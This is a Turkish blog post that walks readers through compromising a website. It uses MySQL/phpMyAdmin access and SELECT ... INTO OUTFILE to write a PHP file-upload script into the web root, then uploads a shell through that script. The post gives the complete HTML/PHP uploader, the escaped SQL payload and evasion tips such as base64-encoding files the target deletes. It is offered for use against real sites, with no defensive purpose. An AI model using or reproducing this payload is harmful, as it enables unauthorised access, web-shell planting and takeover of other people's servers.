-
24 Haziran 2015 Çarşamba



Selamun Aleyküm,

konusundaki siteye nasıl girildiğini paylaşmak istedim. Hemen konuya geçelim. SQL ile RFI açığı oluşturup shell çalıştırma yöntemini kendi ihtiyaçlarımıza göre düzenledik.

Bu yöntem için gerekli olanlar:

Hedef sitenin Mysql’ine erişiminiz olması lazım.
Dosya yüklemek için kod bloku.
SQL ile RFI açığı oluşturmak için gerekli olan SQL komutu.
phpinfo.php sayfasından “DOCUMENT_ROOT” değişkeninin değeri.
Öncelikle dosya yüklemek için gerekli olan kod blokunu oluşturalım. (Bu kod blokunu ihtiyaçlarımız doğrultusunda oluşturdum. Geliştirmesi size kalmış.)

<form action="uploader.php" enctype="multipart/form-data" method="post">
<input type="file" name="dosya">
<input type="submit">
                  </form>
HTML ile dosya yüklemek için gerekli formu oluşturduk. Şimdi de işin PHP kısmına geçelim.

 <?php
$yol="DOCUMENT_ROOT değişkeninin değerini buraya yazıyoruz.";
$dosya=$yol.basename(@$_FILES["dosya"]["name"]);
move_uploaded_file(@$_FILES["dosya"]["tmp_name"], $dosya);
 ?>

Burası da tamam. Ancak SQL komutunu oluşturabilmek için hepsini PHP ile yazmamız gerekiyor. Bu yüzden HTML ile yazdığımız kısmı PHP ile yazacağız.
Burada dikkat etmeniz gereken şey echo komutunu doğru şekilde kullanmanız. HTML kodlarında (çift tırnak) olduğundan dolayı echo komutunu  (tek tırnak) ile yazacağız. Şimdi iki kod blokunu birleştirelim.

<?php
echo <form action="uploader.php" method="post" enctype="multipart/form-data"><input type="file" name="dosya"><input type="submit"></form>;
$yol="DOCUMENT_ROOT değişkeninin değerini buraya yazıyoruz.";
$dosya=$yol.basename(@$_FILES["dosya"]["name"]);
move_uploaded_file(@$_FILES["dosya"]["tmp_name"], $dosya);
?>

Bütün HTML kodlarını tek bir echo komutu ile yazdırdık. Böylece PHP kodlarımızı tamamladık. Şimdi de RFI açığının oluşturulması için gerekli olan SQL kodunu yazalım.
SELECT ’<?php KOD BÖLÜMÜ ?>’ INTO OUTFILE ’YOL/uploader.php’
“KOD BÖLÜMÜ” yazan yere hazırladığımız PHP kodlarını yazacağız. Şimdi burada şöyle bir nokta var. echo komutunda tek tırnak kullandık.
Gördüğünüz üzere SQL’de de tek tırnak kullanılıyor. SQL’in echo komutundaki tırnaklara takılmaması için echo komutundaki tırnakların başına onları \\ işaretini koyuyoruz.
Son olarak sorun çıkarttığını gördüğümüz PHP kodları arasındaki boşlukları kaldırıyoruz.
(Localhostta boşluklu yazınca sorun olmadı ancak hedef sitede yazınca sorun oldu. O yüzden kaldırmak en iyisi diye düşünüyorum.) Bunu da yaptıktan sonra kodumuzun son halini görelim.

SELECT ’<?php echo\\’<form action="uploader.php" method="post" enctype="multipart/form-data"><input type="file" name="dosya"><input type="submit"></form>\\’;$yol="DOCUMENT_ROOT değişkeninin değerini buraya yazıyoruz.";$dosya=$yol.basename(@$_FILES["dosya"]["name"]);move_uploaded_file(@$_FILES["dosya"]["tmp_name"], $dosya); ?>’ INTO OUTFILE ’YOL/uploader.php’

Evet şimdi de kodumuzu çalıştıralım. Kodu çalıştırmak için hedef sitenin Mysql’ine gidiyoruz.
Örneğin;    http://hedefsite.com/phpmyadmin

Mysql’e girince SQL komutunu çalıştırmamız için aşağıdaki gibi SQL kısmına geliyoruz.



Gelen kısma SQL kodumuzu yapıştırıyoruz ve gönderiyoruz. PHP dosyamız http://hedefsite.com/uploader.php olarak hedef siteye eklenecektir. Sayfaya gidip yüklemek istediğiniz dosyayı seçip yükleyebilirsiniz. Yüklediğiniz dosya da   http://hedefsite.com/dosyaadi.uzantisi olarak gelecektir.
Dikkat Edilmesi Gereken Noktalar

Dosya adını belirlemek için <form action=”uploader.php” kısmını ve SQL komutunun en sonunda olan uploader.php kısmını düzenleyiniz. Bu iki kısım aynı olmalı aksi takdirde PHP kodlarına dönüş olmayacağından dosyanız yüklenmeyecektir.
DOCUMENT_ROOT değişkeni /xampp/htdocs/ gibi gelecektir. Burada en sona “/” koymayı unutmayınız.
Doğru Kullanım: $yol=”/xampp/htdocs/” ve ‘/xampp/htdocs/uploader.php’ olmalıdır.
“@” işareti $_FILES[“dosya”] değeri boş olacağından dosyayı açtığınızda uyarı vermemesi için konulmuştur.
 (\\),  (‘)  işaretini etkisiz hale getirir. Mutlaka konulması lazım.
phpinfo.php dosyasını iyi okuyun. Burada bazen dosya yükleme boyutu vs engellemeleri konulabiliyor.
Yükleyeceğiniz dosyayı içeriğinden ötürü hedef site siliyorsa base64 ile şifrelemeniz kurtarıcınız olacaktır. :)


Misyon yolunda kullanılması dileğiyle...
Different Themes
REKLAM ALANI !
SİTEMİZE REKLAM VERMEK İSTİYORSANIZ YÖNETİCİ İLETİŞİM FORUMUNU KULLANABİLİRSİNİZ

0 yorum

Yorum Kuralları:
1) Küfür Yasaktır
2) Teklif Hakları Kullanıcıya Aittir